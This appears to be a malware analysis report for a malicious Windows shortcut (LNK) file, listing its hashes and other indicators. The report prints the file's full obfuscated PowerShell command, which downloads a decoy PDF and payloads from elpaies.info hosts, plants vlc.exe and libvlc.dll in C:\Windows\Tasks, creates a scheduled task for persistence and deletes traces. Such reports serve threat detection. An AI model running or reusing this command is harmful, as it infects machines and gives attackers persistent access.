Malicious
Malicious

b4871b5b77967fa206a01ae17dc02f1f

LNK File
|
MD5: b4871b5b77967fa206a01ae17dc02f1f
|
Size: 3.09 KB
|
application/x-ms-shortcut

Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
b4871b5b77967fa206a01ae17dc02f1f
Sha1
59ef9acd0eda30d33e02602b6c101223364d07db
Sha256
54cbe048b4ece6183ada3ddfb8b6767d75768a53e8ff58ff4fd2678d18dceaf3
Sha384
a30155ac4d369a6cba123e57fe99eb8d442e33ee64c2d442e09d5b619b1dd69dca07b6a83dc8d3325876c5f8c7c38d19
Sha512
994cd5ae042a1996b2ebd3b4c507dca812caba26a7f5f83eab98cca44fbe55d0a59795c753ec6d54261c0e65465de59b989d89c2dccec43bf4d84294c5a63e37
SSDeep
48:8oruaFkYOJfl99liJRdSiGNU2PLxa9liAlL7+SQD+sqL5ddBv6BqiYLq4:8orX1Ox398RdfMKluSQ6sMg3YLq
TLSH
1E51D01417E54314F3B35F7DA8FF62609937B8AEEE218AAE1250D5480CA0515EC79F2F
File Structure
b4871b5b77967fa206a01ae17dc02f1f
Malicious
LNK CommandLine
Malicious
[Lnk Summary]
Malicious
Artefacts
Name
 Value
LNK: Command Execution

powershell.exe $ProgressPreference = 'SilentlyContinue';$a='https:';$b='C:\Users\';$c='C:\Windows\';iw''r $a//zong.elpaies.info/Gyugiujkh_14654/UIyuukj_46 -OutFile $b\Public\CAA_CIRCULAR.pdf;s''ap''s "$b\Public\CAA_CIRCULAR.pdf";iw''r $a//xuang.elpaies.info/ysapjhsjfhajs/zikaklkbas -Outfile $c\Tasks\lama;r''e''n -Path "$c\Tasks\lama" -NewName "$c\Tasks\vlc.exe";iw''r $a//zong.elpaies.info/hgvbhvb_5456/jhbvbvv_54542 -Outfile $c\Tasks\lake;r''e''n -Path "$c\Tasks\lake" -NewName "$c\Tasks\libvlc.dll";c''p''i "$b\Public\CAA_CIRCULAR.pdf" -destination .;&(g''cm sch*) /c''r''e''a''te /S''c minute /''t''n WindowsErrorReport /t''r $c\Tasks\vlc /f;e''r''a''s''e *d?.?n?
b4871b5b77967fa206a01ae17dc02f1f (3.09 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙